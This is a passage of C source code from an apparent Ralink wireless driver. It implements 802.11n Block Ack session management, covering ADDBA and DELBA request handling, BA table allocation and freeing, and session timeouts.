DBGPRINT(RT_DEBUG_TRACE, ("Wrong TID %d!\n", TID)); return; } if ((pAd->CommonCfg.BACapability.field.AutoBA != TRUE) && (isForced == FALSE)) return; /* if this entry is limited to use legacy tx mode, it doesn't generate BA. */ if (RTMPStaFixedTxMode(pAd, pEntry) != FIXED_TXMODE_HT) return; if ((pEntry->BADeclineBitmap & (1<<TID)) && (isForced == FALSE)) { /* try again after 3 secs*/ DelayTime = 3000; /* DBGPRINT(RT_DEBUG_TRACE, ("DeCline BA from Peer\n"));*/ /* return;*/ } Idx = pEntry->BAOriWcidArray[TID]; if (Idx == 0) { /* allocate a BA session*/ pBAEntry = BATableAllocOriEntry(pAd, &Idx); if (pBAEntry == NULL) { DBGPRINT(RT_DEBUG_TRACE,("ADDBA - MlmeADDBAAction() allocate BA session failed \n")); return; } } else { pBAEntry =&pAd->BATable.BAOriEntry[Idx]; } if (pBAEntry->ORI_BA_Status >= Originator_WaitRes) { return; } pEntry->BAOriWcidArray[TID] = Idx; /* Initialize BA session */ pBAEntry->ORI_BA_Status = Originator_WaitRes; pBAEntry->Wcid = pEntry->Aid; pBAEntry->BAWinSize = pAd->CommonCfg.BACapability.field.RxBAWinLimit; pBAEntry->Sequence = BA_ORI_INIT_SEQ; pBAEntry->Token = 1; /* (2008-01-21) Jan Lee recommends it - this token can't be 0*/ pBAEntry->TID = TID; pBAEntry->TimeOutValue = TimeOut; pBAEntry->pAdapter = pAd; if (!(pEntry->TXBAbitmap & (1<<TID))) { RTMPInitTimer(pAd, &pBAEntry->ORIBATimer, GET_TIMER_FUNCTION(BAOriSessionSetupTimeout), pBAEntry, FALSE); } else RTMPCancelTimer(&pBAEntry->ORIBATimer, &Cancelled); /* set timer to send ADDBA request */ RTMPSetTimer(&pBAEntry->ORIBATimer, DelayTime); } VOID BAOriSessionAdd( IN PRTMP_ADAPTER pAd, IN MAC_TABLE_ENTRY *pEntry, IN PFRAME_ADDBA_RSP pFrame) { BA_ORI_ENTRY *pBAEntry = NULL; BOOLEAN Cancelled; UCHAR TID; USHORT Idx; PUCHAR pOutBuffer2 = NULL; NDIS_STATUS NStatus; ULONG FrameLen; FRAME_BAR FrameBar; UCHAR MaxPeerBufSize; TID = pFrame->BaParm.TID; Idx = pEntry->BAOriWcidArray[TID]; pBAEntry =&pAd->BATable.BAOriEntry[Idx]; MaxPeerBufSize = 0; /* Start fill in parameters.*/ if ((Idx !=0) && (pBAEntry->TID == TID) && (pBAEntry->ORI_BA_Status == Originator_WaitRes)) { MaxPeerBufSize = (UCHAR)pFrame->BaParm.BufSize; if (MaxPeerBufSize > 0) MaxPeerBufSize -= 1; else MaxPeerBufSize = 0; pBAEntry->BAWinSize = min(pBAEntry->BAWinSize, MaxPeerBufSize); BA_MaxWinSizeReasign(pAd, pEntry, &pBAEntry->BAWinSize); pBAEntry->TimeOutValue = pFrame->TimeOutValue; pBAEntry->ORI_BA_Status = Originator_Done; pAd->BATable.numDoneOriginator ++; /* reset sequence number */ pBAEntry->Sequence = BA_ORI_INIT_SEQ; /* Set Bitmap flag.*/ pEntry->TXBAbitmap |= (1<<TID); RTMPCancelTimer(&pBAEntry->ORIBATimer, &Cancelled); pBAEntry->ORIBATimer.TimerValue = 0; /*pFrame->TimeOutValue;*/ DBGPRINT(RT_DEBUG_TRACE,("%s : TXBAbitmap = %x, BAWinSize = %d, TimeOut = %ld\n", __FUNCTION__, pEntry->TXBAbitmap, pBAEntry->BAWinSize, pBAEntry->ORIBATimer.TimerValue)); /* SEND BAR ;*/ NStatus = MlmeAllocateMemory(pAd, &pOutBuffer2); /*Get an unused nonpaged memory*/ if (NStatus != NDIS_STATUS_SUCCESS) { DBGPRINT(RT_DEBUG_TRACE,("BA - BAOriSessionAdd() allocate memory failed \n")); return; } #ifdef CONFIG_STA_SUPPORT IF_DEV_CONFIG_OPMODE_ON_STA(pAd) BarHeaderInit(pAd, &FrameBar, pAd->MacTab.Content[pBAEntry->Wcid].Addr, pAd->CurrentAddress); #endif /* CONFIG_STA_SUPPORT */ FrameBar.StartingSeq.field.FragNum = 0; /* make sure sequence not clear in DEL function.*/ FrameBar.StartingSeq.field.StartSeq = pBAEntry->Sequence; /* make sure sequence not clear in DEL funciton.*/ FrameBar.BarControl.TID = pBAEntry->TID; /* make sure sequence not clear in DEL funciton.*/ MakeOutgoingFrame(pOutBuffer2, &FrameLen, sizeof(FRAME_BAR), &FrameBar, END_OF_ARGS); MiniportMMRequest(pAd, QID_AC_BE, pOutBuffer2, FrameLen); MlmeFreeMemory(pAd, pOutBuffer2); if (pBAEntry->ORIBATimer.TimerValue) RTMPSetTimer(&pBAEntry->ORIBATimer, pBAEntry->ORIBATimer.TimerValue); /* in mSec */ } } BOOLEAN BARecSessionAdd( IN PRTMP_ADAPTER pAd, IN MAC_TABLE_ENTRY *pEntry, IN PFRAME_ADDBA_REQ pFrame) { BA_REC_ENTRY *pBAEntry = NULL; BOOLEAN Status = TRUE; BOOLEAN Cancelled; USHORT Idx; UCHAR TID; UCHAR BAWinSize; /*UINT32 Value;*/ /*UINT offset;*/ ASSERT(pEntry); /* find TID*/ TID = pFrame->BaParm.TID; BAWinSize = min(((UCHAR)pFrame->BaParm.BufSize), (UCHAR)pAd->CommonCfg.BACapability.field.RxBAWinLimit); /* Intel patch*/ if (BAWinSize == 0) { BAWinSize = 64; } /* get software BA rec array index, Idx*/ Idx = pEntry->BARecWcidArray[TID]; if (Idx == 0) { /* allocate new array entry for the new session*/ pBAEntry = BATableAllocRecEntry(pAd, &Idx); } else { pBAEntry = &pAd->BATable.BARecEntry[Idx]; /* flush all pending reordering mpdus*/ ba_refresh_reordering_mpdus(pAd, pBAEntry); } DBGPRINT(RT_DEBUG_TRACE,("%s(%ld): Idx = %d, BAWinSize(req %d) = %d\n", __FUNCTION__, pAd->BATable.numAsRecipient, Idx, pFrame->BaParm.BufSize, BAWinSize)); /* Start fill in parameters.*/ if (pBAEntry != NULL) { ASSERT(pBAEntry->list.qlen == 0); pBAEntry->REC_BA_Status = Recipient_HandleRes; pBAEntry->BAWinSize = BAWinSize; pBAEntry->Wcid = pEntry->Aid; pBAEntry->TID = TID; pBAEntry->TimeOutValue = pFrame->TimeOutValue; pBAEntry->REC_BA_Status = Recipient_Accept; /* initial sequence number */ pBAEntry->LastIndSeq = RESET_RCV_SEQ; /*pFrame->BaStartSeq.field.StartSeq;*/ DBGPRINT(RT_DEBUG_OFF, ("Start Seq = %08x\n", pFrame->BaStartSeq.field.StartSeq)); if (pEntry->RXBAbitmap & (1<<TID)) { RTMPCancelTimer(&pBAEntry->RECBATimer, &Cancelled); } else { RTMPInitTimer(pAd, &pBAEntry->RECBATimer, GET_TIMER_FUNCTION(BARecSessionIdleTimeout), pBAEntry, TRUE); } /* Set Bitmap flag.*/ pEntry->RXBAbitmap |= (1<<TID); pEntry->BARecWcidArray[TID] = Idx; pEntry->BADeclineBitmap &= ~(1<<TID); /* Set BA session mask in WCID table.*/ RTMP_ADD_BA_SESSION_TO_ASIC(pAd, pEntry->Aid, TID); DBGPRINT(RT_DEBUG_TRACE,("MACEntry[%d]RXBAbitmap = 0x%x. BARecWcidArray=%d\n", pEntry->Aid, pEntry->RXBAbitmap, pEntry->BARecWcidArray[TID])); } else { Status = FALSE; DBGPRINT(RT_DEBUG_TRACE,("Can't Accept ADDBA for %02x:%02x:%02x:%02x:%02x:%02x TID = %d\n", PRINT_MAC(pEntry->Addr), TID)); } return(Status); } BA_REC_ENTRY *BATableAllocRecEntry( IN PRTMP_ADAPTER pAd, OUT USHORT *Idx) { int i; BA_REC_ENTRY *pBAEntry = NULL; NdisAcquireSpinLock(&pAd->BATabLock); if (pAd->BATable.numAsRecipient >= (MAX_LEN_OF_BA_REC_TABLE - 1)) { DBGPRINT(RT_DEBUG_OFF, ("BA Recipeint Session (%ld) > %d\n", pAd->BATable.numAsRecipient, (MAX_LEN_OF_BA_REC_TABLE - 1))); goto done; } /* reserve idx 0 to identify BAWcidArray[TID] as empty*/ for (i=1; i < MAX_LEN_OF_BA_REC_TABLE; i++) { pBAEntry =&pAd->BATable.BARecEntry[i]; if ((pBAEntry->REC_BA_Status == Recipient_NONE)) { /* get one */ pAd->BATable.numAsRecipient++; pBAEntry->REC_BA_Status = Recipient_USED; *Idx = i; break; } } done: NdisReleaseSpinLock(&pAd->BATabLock); return pBAEntry; } BA_ORI_ENTRY *BATableAllocOriEntry( IN PRTMP_ADAPTER pAd, OUT USHORT *Idx) { int i; BA_ORI_ENTRY *pBAEntry = NULL; NdisAcquireSpinLock(&pAd->BATabLock); if (pAd->BATable.numAsOriginator >= (MAX_LEN_OF_BA_ORI_TABLE - 1)) { goto done; } /* reserve idx 0 to identify BAWcidArray[TID] as empty*/ for (i=1; i<MAX_LEN_OF_BA_ORI_TABLE; i++) { pBAEntry =&pAd->BATable.BAOriEntry[i]; if ((pBAEntry->ORI_BA_Status == Originator_NONE)) { /* get one */ pAd->BATable.numAsOriginator++; pBAEntry->ORI_BA_Status = Originator_USED; pBAEntry->pAdapter = pAd; *Idx = i; break; } } done: NdisReleaseSpinLock(&pAd->BATabLock); return pBAEntry; } VOID BATableFreeOriEntry( IN PRTMP_ADAPTER pAd, IN ULONG Idx) { BA_ORI_ENTRY *pBAEntry = NULL; MAC_TABLE_ENTRY *pEntry; if ((Idx == 0) || (Idx >= MAX_LEN_OF_BA_ORI_TABLE)) return; pBAEntry =&pAd->BATable.BAOriEntry[Idx]; if (pBAEntry->ORI_BA_Status != Originator_NONE) { pEntry = &pAd->MacTab.Content[pBAEntry->Wcid]; pEntry->BAOriWcidArray[pBAEntry->TID] = 0; DBGPRINT(RT_DEBUG_TRACE, ("%s: Wcid = %d, TID = %d\n", __FUNCTION__, pBAEntry->Wcid, pBAEntry->TID)); NdisAcquireSpinLock(&pAd->BATabLock); if (pBAEntry->ORI_BA_Status == Originator_Done) { pAd->BATable.numDoneOriginator -= 1; pEntry->TXBAbitmap &= (~(1<<(pBAEntry->TID) )); DBGPRINT(RT_DEBUG_TRACE, ("BATableFreeOriEntry numAsOriginator= %ld\n", pAd->BATable.numAsRecipient)); /* Erase Bitmap flag.*/ } ASSERT(pAd->BATable.numAsOriginator != 0); pAd->BATable.numAsOriginator -= 1; pBAEntry->ORI_BA_Status = Originator_NONE; pBAEntry->Token = 0; NdisReleaseSpinLock(&pAd->BATabLock); } } VOID BATableFreeRecEntry( IN PRTMP_ADAPTER pAd, IN ULONG Idx) { BA_REC_ENTRY *pBAEntry = NULL; MAC_TABLE_ENTRY *pEntry; if ((Idx == 0) || (Idx >= MAX_LEN_OF_BA_REC_TABLE)) return; pBAEntry =&pAd->BATable.BARecEntry[Idx]; if (pBAEntry->REC_BA_Status != Recipient_NONE) { pEntry = &pAd->MacTab.Content[pBAEntry->Wcid]; pEntry->BARecWcidArray[pBAEntry->TID] = 0; NdisAcquireSpinLock(&pAd->BATabLock); ASSERT(pAd->BATable.numAsRecipient != 0); pAd->BATable.numAsRecipient -= 1; pBAEntry->REC_BA_Status = Recipient_NONE; NdisReleaseSpinLock(&pAd->BATabLock); } } VOID BAOriSessionTearDown( IN OUT PRTMP_ADAPTER pAd, IN UCHAR Wcid, IN UCHAR TID, IN BOOLEAN bPassive, IN BOOLEAN bForceSend) { ULONG Idx = 0; BA_ORI_ENTRY *pBAEntry; BOOLEAN Cancelled; if (Wcid >= MAX_LEN_OF_MAC_TABLE) { return; } /* Locate corresponding BA Originator Entry in BA Table with the (pAddr,TID).*/ Idx = pAd->MacTab.Content[Wcid].BAOriWcidArray[TID]; if ((Idx == 0) || (Idx >= MAX_LEN_OF_BA_ORI_TABLE)) { if (bForceSend == TRUE) { /* force send specified TID DelBA*/ MLME_DELBA_REQ_STRUCT DelbaReq; MLME_QUEUE_ELEM *Elem; /* = (MLME_QUEUE_ELEM *) kmalloc(sizeof(MLME_QUEUE_ELEM), MEM_ALLOC_FLAG);*/ os_alloc_mem(NULL, (UCHAR **)&Elem, sizeof(MLME_QUEUE_ELEM)); if (Elem != NULL) { NdisZeroMemory(&DelbaReq, sizeof(DelbaReq)); NdisZeroMemory(Elem, sizeof(MLME_QUEUE_ELEM)); COPY_MAC_ADDR(DelbaReq.Addr, pAd->MacTab.Content[Wcid].Addr); DelbaReq.Wcid = Wcid; DelbaReq.TID = TID; DelbaReq.Initiator = ORIGINATOR; Elem->MsgLen = sizeof(DelbaReq); NdisMoveMemory(Elem->Msg, &DelbaReq, sizeof(DelbaReq)); MlmeDELBAAction(pAd, Elem); /* kfree(Elem);*/ os_free_mem(NULL, Elem); } else { DBGPRINT(RT_DEBUG_ERROR, ("%s(bForceSend):alloc memory failed!\n", __FUNCTION__)); } } return; } DBGPRINT(RT_DEBUG_TRACE,("%s===>Wcid=%d.TID=%d \n", __FUNCTION__, Wcid, TID)); pBAEntry = &pAd->BATable.BAOriEntry[Idx]; DBGPRINT(RT_DEBUG_TRACE,("\t===>Idx = %ld, Wcid=%d.TID=%d, ORI_BA_Status = %d \n", Idx, Wcid, TID, pBAEntry->ORI_BA_Status)); /* Prepare DelBA action frame and send to the peer.*/ if ((bPassive == FALSE) && (TID == pBAEntry->TID) && (pBAEntry->ORI_BA_Status == Originator_Done)) { MLME_DELBA_REQ_STRUCT DelbaReq; MLME_QUEUE_ELEM *Elem; /* = (MLME_QUEUE_ELEM *) kmalloc(sizeof(MLME_QUEUE_ELEM), MEM_ALLOC_FLAG);*/ os_alloc_mem(NULL, (UCHAR **)&Elem, sizeof(MLME_QUEUE_ELEM)); if (Elem != NULL) { NdisZeroMemory(&DelbaReq, sizeof(DelbaReq)); NdisZeroMemory(Elem, sizeof(MLME_QUEUE_ELEM)); COPY_MAC_ADDR(DelbaReq.Addr, pAd->MacTab.Content[Wcid].Addr); DelbaReq.Wcid = Wcid; DelbaReq.TID = pBAEntry->TID; DelbaReq.Initiator = ORIGINATOR; Elem->MsgLen = sizeof(DelbaReq); NdisMoveMemory(Elem->Msg, &DelbaReq, sizeof(DelbaReq)); MlmeDELBAAction(pAd, Elem); /* kfree(Elem);*/ os_free_mem(NULL, Elem); } else { DBGPRINT(RT_DEBUG_ERROR, ("%s():alloc memory failed!\n", __FUNCTION__)); return; } } RTMPCancelTimer(&pBAEntry->ORIBATimer, &Cancelled); BATableFreeOriEntry(pAd, Idx); if (bPassive) { /*BAOriSessionSetUp(pAd, &pAd->MacTab.Content[Wcid], TID, 0, 10000, TRUE);*/ } } VOID BARecSessionTearDown( IN OUT PRTMP_ADAPTER pAd, IN UCHAR Wcid, IN UCHAR TID, IN BOOLEAN bPassive) { ULONG Idx = 0; BA_REC_ENTRY *pBAEntry; if (Wcid >= MAX_LEN_OF_MAC_TABLE) { return; } /* Locate corresponding BA Originator Entry in BA Table with the (pAddr,TID).*/ Idx = pAd->MacTab.Content[Wcid].BARecWcidArray[TID]; if (Idx == 0) return; DBGPRINT(RT_DEBUG_TRACE,("%s===>Wcid=%d.TID=%d \n", __FUNCTION__, Wcid, TID)); pBAEntry = &pAd->BATable.BARecEntry[Idx]; DBGPRINT(RT_DEBUG_TRACE,("\t===>Idx = %ld, Wcid=%d.TID=%d, REC_BA_Status = %d \n", Idx, Wcid, TID, pBAEntry->REC_BA_Status)); /* Prepare DelBA action frame and send to the peer.*/ if ((TID == pBAEntry->TID) && (pBAEntry->REC_BA_Status == Recipient_Accept)) { MLME_DELBA_REQ_STRUCT DelbaReq; BOOLEAN Cancelled; /*ULONG offset; */ /*UINT32 VALUE;*/ RTMPCancelTimer(&pBAEntry->RECBATimer, &Cancelled); /* 1. Send DELBA Action Frame*/ if (bPassive == FALSE) { MLME_QUEUE_ELEM *Elem; /* = (MLME_QUEUE_ELEM *) kmalloc(sizeof(MLME_QUEUE_ELEM), MEM_ALLOC_FLAG);*/ os_alloc_mem(NULL, (UCHAR **)&Elem, sizeof(MLME_QUEUE_ELEM)); if (Elem != NULL) { NdisZeroMemory(&DelbaReq, sizeof(DelbaReq)); NdisZeroMemory(Elem, sizeof(MLME_QUEUE_ELEM)); COPY_MAC_ADDR(DelbaReq.Addr, pAd->MacTab.Content[Wcid].Addr); DelbaReq.Wcid = Wcid; DelbaReq.TID = TID; DelbaReq.Initiator = RECIPIENT; Elem->MsgLen = sizeof(DelbaReq); NdisMoveMemory(Elem->Msg, &DelbaReq, sizeof(DelbaReq)); MlmeDELBAAction(pAd, Elem); /* kfree(Elem);*/ os_free_mem(NULL, Elem); } else { DBGPRINT(RT_DEBUG_ERROR, ("%s():alloc memory failed!\n", __FUNCTION__)); return; } } /* 2. Free resource of BA session*/ /* flush all pending reordering mpdus */ ba_refresh_reordering_mpdus(pAd, pBAEntry); NdisAcquireSpinLock(&pAd->BATabLock); /* Erase Bitmap flag.*/ pBAEntry->LastIndSeq = RESET_RCV_SEQ; pBAEntry->BAWinSize = 0; /* Erase Bitmap flag at software mactable*/ pAd->MacTab.Content[Wcid].RXBAbitmap &= (~(1<<(pBAEntry->TID))); pAd->MacTab.Content[Wcid].BARecWcidArray[TID] = 0; RTMP_DEL_BA_SESSION_FROM_ASIC(pAd, Wcid, TID); NdisReleaseSpinLock(&pAd->BATabLock); } BATableFreeRecEntry(pAd, Idx); } VOID BASessionTearDownALL( IN OUT PRTMP_ADAPTER pAd, IN UCHAR Wcid) { int i; for (i=0; i<NUM_OF_TID; i++) { BAOriSessionTearDown(pAd, Wcid, i, FALSE, FALSE); BARecSessionTearDown(pAd, Wcid, i, FALSE); } } /* ========================================================================== Description: Retry sending ADDBA Reqest. IRQL = DISPATCH_LEVEL Parametrs: p8023Header: if this is already 802.3 format, p8023Header is NULL Return : TRUE if put into rx reordering buffer, shouldn't indicaterxhere. FALSE , then continue indicaterx at this moment. ========================================================================== */ VOID BAOriSessionSetupTimeout( IN PVOID SystemSpecific1, IN PVOID FunctionContext, IN PVOID SystemSpecific2, IN PVOID SystemSpecific3) { BA_ORI_ENTRY *pBAEntry = (BA_ORI_ENTRY *)FunctionContext; MAC_TABLE_ENTRY *pEntry; PRTMP_ADAPTER pAd; if (pBAEntry == NULL) return; pAd = pBAEntry->pAdapter; #ifdef CONFIG_STA_SUPPORT IF_DEV_CONFIG_OPMODE_ON_STA(pAd) { /* Do nothing if monitor mode is on*/ if (MONITOR_ON(pAd)) return; } #endif /* CONFIG_STA_SUPPORT */ pEntry = &pAd->MacTab.Content[pBAEntry->Wcid]; if ((pBAEntry->ORI_BA_Status == Originator_WaitRes) && (pBAEntry->Token < ORI_SESSION_MAX_RETRY)) { MLME_ADDBA_REQ_STRUCT AddbaReq; #ifdef CONFIG_STA_SUPPORT IF_DEV_CONFIG_OPMODE_ON_STA(pAd) { if (INFRA_ON(pAd) && RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_BSS_SCAN_IN_PROGRESS) && (OPSTATUS_TEST_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED))) { /* In scan progress and have no chance to send out, just re-schedule to another time period */ RTMPSetTimer(&pBAEntry->ORIBATimer, ORI_BA_SESSION_TIMEOUT); return; } } #endif /* CONFIG_STA_SUPPORT */ NdisZeroMemory(&AddbaReq, sizeof(AddbaReq)); COPY_MAC_ADDR(AddbaReq.pAddr, pEntry->Addr); AddbaReq.Wcid = (UCHAR)(pEntry->Aid); AddbaReq.TID = pBAEntry->TID; AddbaReq.BaBufSize = pAd->CommonCfg.BACapability.field.RxBAWinLimit; AddbaReq.TimeOutValue = 0; AddbaReq.Token = pBAEntry->Token; MlmeEnqueue(pAd, ACTION_STATE_MACHINE, MT2_MLME_ADD_BA_CATE, sizeof(MLME_ADDBA_REQ_STRUCT), (PVOID)&AddbaReq, 0); RTMP_MLME_HANDLER(pAd); DBGPRINT(RT_DEBUG_TRACE,("BA Ori Session Timeout(%d) : Send ADD BA again\n", pBAEntry->Token)); pBAEntry->Token++; RTMPSetTimer(&pBAEntry->ORIBATimer, ORI_BA_SESSION_TIMEOUT); } else { BATableFreeOriEntry(pAd, pEntry->BAOriWcidArray[pBAEntry->TID]); } } /* ========================================================================== Description: Retry sending ADDBA Reqest. IRQL = DISPATCH_LEVEL Parametrs: p8023Header: if this is already 802.3 format, p8023Header is NULL Return : TRUE if put into rx reordering buffer, shouldn't indicaterxhere. FALSE , then continue indicaterx at this moment. ========================================================================== */ VOID BARecSessionIdleTimeout( IN PVOID SystemSpecific1, IN PVOID FunctionContext, IN PVOID SystemSpecific2, IN PVOID SystemSpecific3) { BA_REC_ENTRY *pBAEntry = (BA_REC_ENTRY *)FunctionContext; PRTMP_ADAPTER pAd; ULONG Now32; if (pBAEntry == NULL) return; if ((pBAEntry->REC_BA_Status == Recipient_Accept)) { NdisGetSystemUpTime(&Now32); if (RTMP_TIME_AFTER((unsigned long)Now32, (unsigned long)(pBAEntry->LastIndSeqAtTimer + REC_BA_SESSION_IDLE_TIMEOUT))) { pAd = pBAEntry->pAdapter; /* flush all pending reordering mpdus */ ba_refresh_reordering_mpdus(pAd, pBAEntry); DBGPRINT(RT_DEBUG_OFF, ("%ld: REC BA session Timeout\n", Now32)); } } } VOID PeerAddBAReqAction( IN PRTMP_ADAPTER pAd, IN MLME_QUEUE_ELEM *Elem) { /* 7.4.4.1*/ /*ULONG Idx;*/ UCHAR Status = 1; UCHAR pAddr[6]; FRAME_ADDBA_RSP ADDframe; PUCHAR pOutBuffer = NULL; NDIS_STATUS NStatus; PFRAME_ADDBA_REQ pAddreqFrame = NULL; /*UCHAR BufSize;*/ ULONG FrameLen; PULONG ptemp; PMAC_TABLE_ENTRY pMacEntry; DBGPRINT(RT_DEBUG_TRACE, ("%s ==> (Wcid = %d)\n", __FUNCTION__, Elem->Wcid)); /*hex_dump("AddBAReq", Elem->Msg, Elem->MsgLen);*/ /*ADDBA Request from unknown peer, ignore this.*/ if (Elem->Wcid >= MAX_LEN_OF_MAC_TABLE) return; pMacEntry = &pAd->MacTab.Content[Elem->Wcid]; DBGPRINT(RT_DEBUG_TRACE,("BA - PeerAddBAReqAction----> \n")); ptemp = (PULONG)Elem->Msg; /*DBGPRINT_RAW(RT_DEBUG_EMU, ("%08x:: %08x:: %08x:: %08x:: %08x:: %08x:: %08x:: %08x:: %08x\n", *(ptemp), *(ptemp+1), *(ptemp+2), *(ptemp+3), *(ptemp+4), *(ptemp+5), *(ptemp+6), *(ptemp+7), *(ptemp+8)));*/ if (PeerAddBAReqActionSanity(pAd, Elem->Msg, Elem->MsgLen, pAddr)) { if ((pAd->CommonCfg.bBADecline == FALSE) && IS_HT_STA(pMacEntry)) { pAddreqFrame = (PFRAME_ADDBA_REQ)(&Elem->Msg[0]); DBGPRINT(RT_DEBUG_OFF, ("Rcv Wcid(%d) AddBAReq\n", Elem->Wcid)); if (BARecSessionAdd(pAd, &pAd->MacTab.Content[Elem->Wcid], pAddreqFrame)) Status = 0; else Status = 38; /* more parameters have invalid values*/ } else { Status = 37; /* the request has been declined.*/ } } if (IS_ENTRY_CLIENT(&pAd->MacTab.Content[Elem->Wcid])) ASSERT(pAd->MacTab.Content[Elem->Wcid].Sst == SST_ASSOC); pAddreqFrame = (PFRAME_ADDBA_REQ)(&Elem->Msg[0]); /* 2. Always send back ADDBA Response */ NStatus = MlmeAllocateMemory(pAd, &pOutBuffer); /*Get an unused nonpaged memory*/ if (NStatus != NDIS_STATUS_SUCCESS) { DBGPRINT(RT_DEBUG_TRACE,("ACTION - PeerBAAction() allocate memory failed \n")); return; } NdisZeroMemory(&ADDframe, sizeof(FRAME_ADDBA_RSP)); /* 2-1. Prepare ADDBA Response frame.*/ #ifdef CONFIG_STA_SUPPORT IF_DEV_CONFIG_OPMODE_ON_STA(pAd) { if (ADHOC_ON(pAd) #ifdef QOS_DLS_SUPPORT || (IS_ENTRY_DLS(&pAd->MacTab.Content[Elem->Wcid])) #endif /* QOS_DLS_SUPPORT */ ) ActHeaderInit(pAd, &ADDframe.Hdr, pAddr, pAd->CurrentAddress, pAd->CommonCfg.Bssid); else ActHeaderInit(pAd, &ADDframe.Hdr, pAd->CommonCfg.Bssid, pAd->CurrentAddress, pAddr); } #endif /* CONFIG_STA_SUPPORT */ ADDframe.Category = CATEGORY_BA; ADDframe.Action = ADDBA_RESP; ADDframe.Token = pAddreqFrame->Token; /* What is the Status code?? need to check.*/ ADDframe.StatusCode = Status; ADDframe.BaParm.BAPolicy = IMMED_BA; ADDframe.BaParm.AMSDUSupported = 0; ADDframe.BaParm.TID = pAddreqFrame->BaParm.TID; ADDframe.BaParm.BufSize = min(((UCHAR)pAddreqFrame->BaParm.BufSize), (UCHAR)pAd->CommonCfg.BACapability.field.RxBAWinLimit); if (ADDframe.BaParm.BufSize == 0) { ADDframe.BaParm.BufSize = 64; } ADDframe.TimeOutValue = 0; /* pAddreqFrame->TimeOutValue; */ #ifdef UNALIGNMENT_SUPPORT { BA_PARM tmpBaParm; NdisMoveMemory((PUCHAR)(&tmpBaParm), (PUCHAR)(&ADDframe.BaParm), sizeof(BA_PARM)); *(USHORT *)(&tmpBaParm) = cpu2le16(*(USHORT *)(&tmpBaParm)); NdisMoveMemory((PUCHAR)(&ADDframe.BaParm), (PUCHAR)(&tmpBaParm), sizeof(BA_PARM)); } #else *(USHORT *)(&ADDframe.BaParm) = cpu2le16(*(USHORT *)(&ADDframe.BaParm)); #endif /* UNALIGNMENT_SUPPORT */ ADDframe.StatusCode = cpu2le16(ADDframe.StatusCode); ADDframe.TimeOutValue = cpu2le16(ADDframe.TimeOutValue); MakeOutgoingFrame(pOutBuffer, &FrameLen, sizeof(FRAME_ADDBA_RSP), &ADDframe, END_OF_ARGS); MiniportMMRequest(pAd, QID_AC_BE, pOutBuffer, FrameLen); MlmeFreeMemory(pAd, pOutBuffer); DBGPRINT(RT_DEBUG_TRACE, ("%s(%d): TID(%d), BufSize(%d) <== \n", __FUNCTION__, Elem->Wcid, ADDframe.BaParm.TID, ADDframe.BaParm.BufSize)); } VOID PeerAddBARspAction( IN PRTMP_ADAPTER pAd, IN MLME_QUEUE_ELEM *Elem) { /*UCHAR Idx, i;*/ /*PUCHAR pOutBuffer = NULL;*/ PFRAME_ADDBA_RSP pFrame = NULL; /*PBA_ORI_ENTRY pBAEntry;*/ /*ADDBA Response from unknown peer, ignore this.*/ if (Elem->Wcid >= MAX_LEN_OF_MAC_TABLE) return; DBGPRINT(RT_DEBUG_TRACE, ("%s ==> Wcid(%d)\n", __FUNCTION__, Elem->Wcid)); /*hex_dump("PeerAddBARspAction()", Elem->Msg, Elem->MsgLen);*/ if (PeerAddBARspActionSanity(pAd, Elem->Msg, Elem->MsgLen)) { pFrame = (PFRAME_ADDBA_RSP)(&Elem->Msg[0]); DBGPRINT(RT_DEBUG_TRACE, ("\t\t StatusCode = %d\n", pFrame->StatusCode)); switch (pFrame->StatusCode) { case 0: /* I want a BAsession with this peer as an originator. */ BAOriSessionAdd(pAd, &pAd->MacTab.Content[Elem->Wcid], pFrame); break; default: /* check status == USED ??? */ BAOriSessionTearDown(pAd, Elem->Wcid, pFrame->BaParm.TID, TRUE, FALSE); break; } /* Rcv Decline StatusCode*/ if ((pFrame->StatusCode == 37) #ifdef CONFIG_STA_SUPPORT || ((pAd->OpMode == OPMODE_STA) && STA_TGN_WIFI_ON(pAd) && (pFrame->StatusCode != 0)) #endif /* CONFIG_STA_SUPPORT */ ) { pAd->MacTab.Content[Elem->Wcid].BADeclineBitmap |= 1<<pFrame->BaParm.TID; } } } VOID PeerDelBAAction( IN PRTMP_ADAPTER pAd, IN MLME_QUEUE_ELEM *Elem) { /*UCHAR Idx;*/ /*PUCHAR pOutBuffer = NULL;*/ PFRAME_DELBA_REQ pDelFrame = NULL; DBGPRINT(RT_DEBUG_TRACE,("%s ==>\n", __FUNCTION__)); /*DELBA Request from unknown peer, ignore this.*/ if (PeerDelBAActionSanity(pAd, Elem->Wcid, Elem->Msg, Elem->MsgLen)) { pDelFrame = (PFRAME_DELBA_REQ)(&Elem->Msg[0]); if (pDelFrame->DelbaParm.Initiator == ORIGINATOR) { DBGPRINT(RT_DEBUG_TRACE,("BA - PeerDelBAAction----> ORIGINATOR\n")); BARecSessionTearDown(pAd, Elem->Wcid, pDelFrame->DelbaParm.TID, TRUE); } else { DBGPRINT(RT_DEBUG_TRACE,("BA - PeerDelBAAction----> RECIPIENT, Reason = %d\n", pDelFrame->ReasonCode)); /*hex_dump("DelBA Frame", pDelFrame, Elem->MsgLen);*/ BAOriSessionTearDown(pAd, Elem->Wcid, pDelFrame->DelbaParm.TID, TRUE, FALSE); } } } BOOLEAN CntlEnqueueForRecv( IN PRTMP_ADAPTER pAd, IN ULONG Wcid, IN ULONG MsgLen, IN PFRAME_BA_REQ pMsg) { PFRAME_BA_REQ pFrame = pMsg; /*PRTMP_REORDERBUF pBuffer;*/ /*PRTMP_REORDERBUF pDmaBuf;*/ PBA_REC_ENTRY pBAEntry; /*BOOLEAN Result;*/ ULONG Idx; /*UCHAR NumRxPkt;*/ UCHAR TID;/*, i;*/ TID = (UCHAR)pFrame->BARControl.TID; DBGPRINT(RT_DEBUG_TRACE, ("%s(): BAR-Wcid(%ld), Tid (%d)\n", __FUNCTION__, Wcid, TID)); /*hex_dump("BAR", (PCHAR) pFrame, MsgLen);*/ /* Do nothing if the driver is starting halt state.*/ /* This might happen when timer already been fired before cancel timer with mlmehalt*/ if (RTMP_TEST_FLAG(pAd, fRTMP_ADAPTER_HALT_IN_PROGRESS | fRTMP_ADAPTER_NIC_NOT_EXIST)) return FALSE; /* First check the size, it MUST not exceed the mlme queue size*/ if (MsgLen > MGMT_DMA_BUFFER_SIZE) /* 1600B */ { DBGPRINT_ERR(("CntlEnqueueForRecv: frame too large, size = %ld \n", MsgLen)); return FALSE; } else if (MsgLen != sizeof(FRAME_BA_REQ)) { 